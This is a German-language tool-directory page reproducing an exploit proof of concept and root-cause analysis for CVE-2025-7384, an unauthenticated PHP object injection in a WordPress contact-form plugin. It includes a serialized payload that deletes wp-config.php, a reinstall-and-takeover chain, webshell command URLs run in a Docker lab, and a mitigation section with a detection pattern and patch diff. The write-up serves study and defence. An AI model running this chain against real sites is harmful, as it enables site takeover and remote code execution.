Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-7384 — Exploit-PoC und Root-Cause-Analyse für eine kritische, nicht authentifizierte PHP-Objektinjektion in WordPress Database for Contact Form 7, die über beliebiges Löschen von Dateien zu RCE führt. | Kitploit
Tools/GitHubGitHub/dungsocool/cve-2025-7384
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungLabs & Praxis
GitHubdungsocool/cve-2025-7384

CVE-2025-7384

Exploit-PoC und Root-Cause-Analyse für eine kritische, nicht authentifizierte PHP-Objektinjektion in WordPress Database for Contact Form 7, die über beliebiges Löschen von Dateien zu RCE führt.

Repository anzeigen
vor 19 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-7384 — PHP-Objektinjektion zu RCE

Plugin: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (Kritisch)
CWE: CWE-502 — Deserialisierung nicht vertrauenswürdiger Daten
Authentifizierungsanforderung: Keine (nicht authentifiziert)
Auswirkung: Remote Code Execution


Inhaltsverzeichnis

  1. Überblick über die Schwachstelle
  2. Verwandte Konzepte
  3. Ursachenanalyse (Quellcode + Debug)
  4. Angriffskette
  5. Schritt-für-Schritt-Reproduktion (POC)
  6. Auswirkungsanalyse
  7. Abhilfemaßnahmen

1. Überblick über die Schwachstelle

Das Plugin „Database for Contact Form 7" (Slug: contact-form-entries) in Version 1.4.3 und früher enthält eine Schwachstelle zur PHP-Objektinjektion. Wenn ein WordPress-Administrator einen Formulardatensatz (Eintrag) im Admin-Panel anzeigt, ruft das Plugin die Funktion maybe_unserialize() direkt mit Daten auf, die ein nicht authentifizierter Benutzer über Contact Form 7 übermittelt hat, ohne die Liste der zulässigen zu instanziierenden Klassen zu kontrollieren.

Ein Angreifer muss sich nicht anmelden — er muss lediglich ein normales Kontaktformular absenden und dabei ein serialisiertes PHP-Objekt in ein beliebiges Formularfeld einfügen. Diese Daten werden unverändert in der Datenbank gespeichert. Wenn ein Administrator den Eintrag zur Ansicht öffnet, instanziiert die Deserialisierungsfunktion ein Objekt nach Wahl des Angreifers und löst damit Magische Methoden wie __destruct() oder __wakeup() aus → abhängig von den im WordPress-Umfeld verfügbaren POP-Gadgets wird beliebiges Verhalten ausgeführt.

Schweregrad: Mit einem geeigneten POP-Gadget (zum Beispiel einer Klasse, deren __destruct()-Methode unlink() aufruft), kann ein Angreifer die Datei wp-config.php löschen, wodurch WordPress zum anfänglichen Installationsbildschirm zurückkehrt → Neuinstallation mit einem vom Angreifer kontrollierten Administrator-Konto → Installation eines Plugins mit Webshell → vollständige Remote Code Execution (RCE) auf dem Server.


2. Verwandte Konzepte

PHP-Serialisierung / -Deserialisierung

PHP verwendet serialize(), um ein Objekt in einen strukturierten Textstring zu konvertieren, und unserialize(), um das Objekt aus diesem String wiederherzustellen. Wenn unserialize() Daten aus einer nicht vertrauenswürdigen Quelle (z. B. Benutzereingaben) erhält, kann ein Angreifer ein beliebiges Objekt konstruieren, das zu einer Klasse gehört, die zu diesem Zeitpunkt im PHP-Speicher geladen ist.

Magische Methoden in PHP

Besondere Methoden, die PHP automatisch während des Lebenszyklus eines Objekts aufruft. Am wichtigsten in diesem Zusammenhang:

  • __wakeup() — wird sofort aufgerufen, wenn ein Objekt deserialisiert wird
  • __destruct() — wird aufgerufen, wenn ein Objekt zerstört wird (den Gültigkeitsbereich verlässt oder die Anfrage endet)
  • __toString() — wird aufgerufen, wenn ein Objekt in einen String umgewandelt wird

POP-Kette (Property-Oriented Programming)

Eine Technik, bei der mehrere Magische Methoden aus vorhandenen Klassen innerhalb der Anwendung zu einer gefährlichen Abfolge von Verhaltensweisen verkettet werden. Der Angreifer schreibt keinen neuen Code — er manipuliert lediglich die Eigenschaften vorhandener Objekte, sodass bei der Ausführung der Magischen Methoden Aktionen durchgeführt werden, die von den Entwicklern nicht beabsichtigt waren.

maybe_unserialize() in WordPress

Eine Wrapper-Funktion des WordPress-Kerns. Sie ruft is_serialized() auf, um zu prüfen, ob ein String serialisierte Daten enthält — falls ja, ruft sie unserialize() auf, um das Objekt wiederherzustellen. Problem: Diese Funktion übergibt den Parameter allowed_classes (verfügbar seit PHP 7.0) nicht, um einzuschränken, welche Klassen instanziiert werden dürfen.


3. Ursachenanalyse — Schwachstellenentdeckung aus dem Quellcode

Schritt 1: Sink-Punkte finden (Sink-Hunting)

Durchsuchen Sie den gesamten Plugin-Quellcode per grep, um Deserialisierungsfunktionen zu lokalisieren — diese gehören zu den gefährlichsten Funktionen in PHP, da sie zu Objektinjektion führen können:

root@kitploit:~
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

image.png

Die Ausgabe zeigt mehrere Aufrufstellen für maybe_unserialize(), insbesondere in includes/data.php Zeile 545 innerhalb der Funktion verify_val():

image 1.png

root@kitploit:~
// data.php lines 538-548
public function verify_val($string){
    if(in_array(substr(ltrim($string),0,1), array('{','['))
       && in_array(substr(rtrim($string),-1), array('}',']'))
    ){
        $val = json_decode($string, 1);
        if(is_array($val)){ $string = $val; }
    } else if(is_serialized($string)){            // line 544
        $string = maybe_unserialize($string);     // ★ line 545 — SINK
    }
    return $string;
}

Kernfrage: Woher stammt die Variable $string? Wenn sie ohne Filterung aus Benutzereingaben stammt → handelt es sich um eine Schwachstelle.

Schritt 2: Rückverfolgung — Woher kommen die Daten?

Finden Sie heraus, wo verify_val() aufgerufen wird. Verfolgen Sie die Aufrufe in derselben Datei data.php rückwärts:

image 2.png

root@kitploit:~
// data.php lines 520-535
public function get_lead_detail($lead_id){
    global $wpdb;
    $table = $wpdb->prefix . 'vxcf_leads_detail';
    $detail_arr = $wpdb->get_results(
        $wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
        ARRAY_A
    );

    foreach($detail_arr as $k => $v){
        if(!empty($v['value'])){
            $detail_arr[$k]['value'] = $this->verify_val($v['value']);  // ← calls verify_val
        }
    }
    return $detail_arr;
}

→ $string ist exakt $v['value'] — Werte, die aus der Datenbanktabelle wp_vxcf_leads_detail abgerufen werden. Diese Funktion wird aufgerufen, wenn ein Administrator die Details eines Formulareintrags anzeigt.

Nächste Frage: Woher stammen die Daten in wp_vxcf_leads_detail? Wer schreibt sie?

Schritt 3: Schreibpunkte der Daten finden (Source)

Aus Schritt 2 wissen wir, dass Daten aus der Datenbank gelesen werden. Nächste Frage: Wer schreibt Daten hinein? Suchen Sie nach INSERT-Abfragen in data.php:

root@kitploit:~
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

image 3.png

Öffnen Sie den Code der Funktion create_lead() (Zeilen 85–103) für Details:

image 4.png

In den Zeilen 98–99 wird der Wert $v — also der Inhalt eines Formularfelds (z. B. your-message) — über $wpdb->insert() direkt in die Datenbank eingefügt. Das Plugin greift in das Ereignis wpcf7_before_send_mail von Contact Form 7 ein, sodass bei jeder Formularabsendung alle Felder unverändert gespeichert werden.

Zusätzliche Prüfung: Das Plugin verwendet vor dem Speichern zwar sanitize_text_field() und sanitize_textarea_field(), aber diese beiden Funktionen entfernen lediglich HTML-Tags und spezielle HTML-Zeichen — ein serialisiertes Payload wie O:21:"VulnerableFileHandler":2:{...} enthält keine HTML-Tags und passiert daher vollständig unverändert.

Schritt 4: Fazit — Bestätigung der Schwachstelle

An diesem Punkt ist der vollständige Ablauf geklärt:

root@kitploit:~
Unauthenticated user submits CF7 form (your-message field contains serialized object)
    ↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
    ↓
Admin views entry → get_lead_detail() → verify_val()
    ↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
    ↓
Object's __destruct() executes → performs attacker-controlled action

Grundursache: Die Funktion maybe_unserialize() in data.php:545 wird mit Daten aufgerufen, die aus nicht authentifizierten Benutzereingaben stammen, ohne allowed_classes: false zu übergeben. Ein Angreifer muss lediglich ein serialisiertes PHP-Objekt über das Feld your-message eines CF7-Formulars absenden → wenn ein Administrator den Eintrag anzeigt, instanziiert PHP dieses Objekt und löst die Magische Methode __destruct() aus.

Schritt 5: Verifizierung per Debugger (Xdebug)

Zum visuellen Nachweis setzen Sie mit Xdebug einen Breakpoint in Zeile 545 von data.php. Nachdem das Payload über das Formular injiziert wurde und der Administrator den Eintrag anzeigt, hält der Debugger exakt bei maybe_unserialize() an:

image 5.png

Variablen-Panel zeigt $string mit dem Payload des Angreifers:

  • $string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → das Payload gelangte vom Formular → in die Datenbank → in die Deserialisierungsfunktion, ohne blockiert zu werden

Ausführungszeile:

  • Zeile 545: $string=maybe_unserialize($string);

Call-Stack zeigt die Funktionsaufruf-Sequenz:

root@kitploit:~
vxcf_form_data->verify_val        data.php:545
vxcf_form_data->get_entries       data.php:388
vxcf_form::get_entries            contact-form-entries.php:2682
vxcf_form_pages->entries_page     plugin-pages.php:1017
...
WP_Hook->apply_filters            class-wp-hook.php:324
WP_Hook->do_action                class-wp-hook.php:348

→ Bestätigt den exakt analysierten Ablauf: Administrator zeigt Eintrag an → get_entries() → verify_val() → maybe_unserialize().


4. Angriffskette

Die Angriffskette besteht aus 5 Stufen. Der Angreifer muss nur Stufe 1 ausführen (Formularabsendung). Die Stufen 2–5 laufen automatisch ab, nachdem ein Administrator den Eintrag anzeigt.

Stufe 1 — Payload injizieren (nicht authentifiziert)

Der Angreifer sendet ein CF7-Formular mit einem serialisierten PHP-Objekt im Nachrichtenfeld ab.

  • Endpunkt: POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback
  • Feld your-message enthält: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}
  • Das Plugin speichert das Payload in der Tabelle wp_vxcf_leads_detail — sanitize_text_field() blockiert serialisierte Strings nicht

Stufe 2 — Deserialisierung auslösen (wartet auf Administrator)

Der Administrator öffnet die Seite „Contact Form Entries" → zeigt die Eintragsdetails an → das Plugin ruft verify_val() → maybe_unserialize() auf.

  • PHP instanziiert das Objekt VulnerableFileHandler mit file_path = "/var/www/html/wp-config.php" und cleanup = true
  • Wenn die Anfrage abgeschlossen ist, ruft die PHP-Garbage-Collection __destruct() auf → unlink("/var/www/html/wp-config.php")

Stufe 3 — Beliebige Datei löschen

Die Datei wp-config.php wird gelöscht → WordPress verliert die Datenbankverbindung.

  • Aufruf von http://target/ → leitet automatisch auf /wp-admin/setup-config.php weiter (erster Einrichtungsbildschirm)
  • WordPress behandelt die Website als nicht installiert

Stufe 4 — Neuinstallation von WordPress

Der Angreifer installiert WordPress mit bekannten (oder per Brute-Force ermittelten) Datenbank-Zugangsdaten neu.

  • Ein neues, vom Angreifer kontrolliertes Administrator-Konto erstellen
  • Mit vollen Administratorrechten im Admin-Dashboard anmelden

Stufe 5 — Remote Code Execution

Ein Plugin installieren, das eine Webshell enthält → beliebige Systembefehle ausführen.

  • Admin-Dashboard → Plugins → Neu hinzufügen → Plugin-ZIP mit PHP-Webshell hochladen
  • Webshell-URL aufrufen: /wp-content/plugins/shell/shell.php?cmd=id
  • Ausgabe: uid=33(www-data) gid=33(www-data) → RCE abgeschlossen

5. Schritt-für-Schritt-Reproduktion (POC)

5.1 Einrichtung der Umgebung

Starten Sie das Docker-Lab, das WordPress + das verwundbare Plugin enthält:

root@kitploit:~
cd CVE-2025-7384
docker-compose up --build -d

Warten Sie etwa 40 Sekunden, bis die Logs LAB READY anzeigen. Rufen Sie http://localhost:8181 auf, um zu prüfen, dass WordPress läuft.

5.2 Injektionspunkt identifizieren

Aus der Quellcode-Analyse in Abschnitt 3 wissen wir:

  • Sink befindet sich in data.php:545 — maybe_unserialize() auf Formularfeldwerte
  • Source ist die Tabelle wp_vxcf_leads_detail — die Daten stammen aus dem CF7-Formular
  • Sanitisierung verlässt sich nur auf sanitize_text_field() — blockiert serialisierte Strings nicht

→ Fazit: Senden Sie einfach ein serialisiertes PHP-Objekt in ein beliebiges Feld des CF7-Formulars. Wählen Sie your-message, da es sich um ein Textarea handelt, lange Strings akzeptiert und weniger Formatvalidierung aufweist (anders als your-email, das ein E-Mail-Format erfordert).

5.3 Payload über das Kontaktformular injizieren

Rufen Sie http://localhost:8181/contact/ auf und füllen Sie das Formular wie folgt aus:

FeldWert
Ihr Namedung
Ihre E-Mail[email protected]
Betrefftest inject
Ihre NachrichtO:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}

image 6.png

Erklärung des Payloads:

  • O:21:"VulnerableFileHandler" — instanziiert die Klasse VulnerableFileHandler (deren __destruct() unlink() aufruft)
  • s:9:"file_path";s:27:"/var/www/html/wp-config.php" — die Eigenschaft file_path zeigt auf die zu löschende Zieldatei
  • s:7:"cleanup";b:1 — die Eigenschaft cleanup = true, damit __destruct() unlink() ausführt

Klicken Sie auf Senden. Das Formular zeigt eine Fehlermeldung beim Mail-Versand (oder Erfolg) — irrelevant, da das Plugin contact-form-entries alle Daten bereits vor der Mail-Zustellung in der Datenbank gespeichert hat.

5.4 Deserialisierung auslösen — Administrator zeigt Eintrag an

Melden Sie sich unter http://localhost:8181/wp-admin an (admin / admin123) → wählen Sie im linken Menü CRM Entries → klicken Sie auf den empfangenen Eintrag, um ihn anzuzeigen.

image 7.png

Dies ist der genaue Moment, in dem die Ausführung data.php:545 erreicht — das Plugin holt den Wert von your-message aus der Datenbank, die Prüfung is_serialized() liefert true, ruft maybe_unserialize() auf → PHP erstellt das Objekt VulnerableFileHandler → die Anfrage endet, __destruct() wird ausgeführt → unlink("/var/www/html/wp-config.php").

5.5 Beliebige Dateilöschung bestätigen

Navigieren Sie im Browser zu http://localhost:8181/ → WordPress leitet auf die Seite /wp-admin/setup-config.php weiter (erster Einrichtungsbildschirm) → die Datei wp-config.php wurde erfolgreich gelöscht.

image 8.png

5.6 Zu RCE eskalieren

Nach dem Löschen von wp-config.php fällt WordPress in den nicht installierten Zustand zurück. Schritte des Angreifers:

Schritt 1 — WordPress neu installieren:

Rufen Sie http://localhost:8181/wp-admin/setup-config.php auf → geben Sie die Datenbank-Zugangsdaten ein:

FeldWert
Datenbanknamewordpress
Benutzernamewpuser
Passwortwppass
Datenbank-Hostdb
Tabellenpräfix

Klicken Sie auf „Senden" → führen Sie die Installation aus → erstellen Sie ein neues, vom Angreifer kontrolliertes Administrator-Konto.

Schritt 2 — Webshell hochladen:

Melden Sie sich im Admin-Dashboard an → Plugins → Neu hinzufügen → Plugin hochladen → laden Sie die Datei system-health.zip (oder system-monitor.zip) hoch.

image 9.png

Hochladen und Aktivieren erfolgreich.

Schritt 3 — Befehle ausführen (RCE):

Aufruf: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

image 10.png

Ausgabe: uid=33(www-data) gid=33(www-data) → Remote Code Execution abgeschlossen

Aufruf: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

image 11.png

Ausgabe: www-data → Remote Code Execution abgeschlossen


6. Auswirkungsanalyse

*Benutzerinteraktion: NVD bewertet dies als „Keine", da das Betrachten von Formulareinträgen durch einen Administrator erwartetes Verhalten darstellt und keine anomale Benutzerinteraktion ist.

Reale Auswirkung

  • Das Plugin „Database for Contact Form 7" hat über 100.000+ aktive Installationen auf wordpress.org
  • Jede WordPress-Website, die diese Plugin-Version ≤ 1.4.3 zusammen mit Contact Form 7 ausführt, ist verwundbar
  • Der Angreifer benötigt keinerlei Vorabinformationen — er muss nur erkennen, dass die Website Contact Form 7 verwendet (leicht über den HTML-Quellcode feststellbar)
  • Das Payload wird dauerhaft in der Datenbank gespeichert, wodurch der Angriff bis zur Löschung des Eintrags bestehen bleibt

7. Abhilfemaßnahmen

Für Plugin-Entwickler

  1. Verwenden Sie maybe_unserialize() nicht für benutzergelieferte Daten. Verwenden Sie stattdessen json_decode(), wenn eine strukturierte Datenspeicherung erforderlich ist.

  2. Falls eine Deserialisierung unbedingt erforderlich ist, übergeben Sie die Option allowed_classes: false (PHP 7.0+):

root@kitploit:~
$data = unserialize($string, ['allowed_classes' => false]);

Dies verhindert, dass PHP Objekte instanziiert — es sind nur skalare Typen und Arrays erlaubt.

  1. Validieren Sie Eingabedaten auf der Speicherebene: Wenn ein Formularfeld nur Klartext enthalten soll, lehnen Sie jeden Wert ab, der dem Muster /^[OaCis]:\d+/ entspricht (Indikator für serialisierte Daten).

Für WordPress-Administratoren

  1. Plugin sofort aktualisieren auf Version 1.4.4 oder höher
  2. Untersuchen Sie die Datenbanktabelle wp_vxcf_leads_detail auf Einträge, die Strings im Format O:XX:"ClassName": enthalten — deren Vorhandensein deutet auf Angriffsversuche hin
  3. Stellen Sie sicher, dass wp-config.php restriktive Dateiberechtigungen hat (440 oder 400) — verringert die Wahrscheinlichkeit einer Löschung durch den Webserver-Prozess
  4. Setzen Sie eine WAF (Web Application Firewall) ein, die mit Regeln zur Erkennung serialisierter PHP-Objekte in POST-Daten konfiguriert ist

Patch-Diff (Referenz)

root@kitploit:~
// BEFORE (vulnerable):
} else if(is_serialized($string)){
    $string = maybe_unserialize($string);
}

// AFTER (patched):
} else if(is_serialized($string)){
    $string = json_decode(json_encode(
        unserialize($string, ['allowed_classes' => false])
    ), true);
}
Tool herunterladen
AttributWert
CVE IDCVE-2025-7384
CVSS-Score9.8 (Kritisch)
CWECWE-502 — Deserialisierung nicht vertrauenswürdiger Daten
Betroffenes Plugincontact-form-entries (Database for Contact Form 7) ≤ 1.4.3
AuthentifizierungsanforderungKeine — jeder, der ein CF7-Formular absendet, kann ein Payload injizieren
AuslösebedingungAdministrator betrachtet den injizierten Eintrag im Admin-Panel
Maximale AuswirkungNicht authentifizierte Remote Code Execution
Behobene Version1.4.4+ (ersetzt unserialize durch json_decode bzw. allowed_classes: false)
wp_
CVSS-MetrikWertErklärung
AngriffsvektorNetzwerkÜber HTTP ausnutzbar, kein physischer Zugriff erforderlich
AngriffskomplexitätNiedrigErfordert nur das Senden einer einzigen POST-Anfrage mit Payload
Erforderliche PrivilegienKeineKeine Authentifizierung erforderlich — CF7-Formular ist öffentlich zugänglich
BenutzerinteraktionKeine*Administrator betrachtet Einträge im normalen Arbeitsablauf
VertraulichkeitHochRCE ermöglicht das Lesen beliebiger Dateien auf dem Server
IntegritätHochRCE ermöglicht das Schreiben/Ändern beliebiger Dateien
VerfügbarkeitHochDas Löschen von wp-config.php bringt die gesamte Website zum Absturz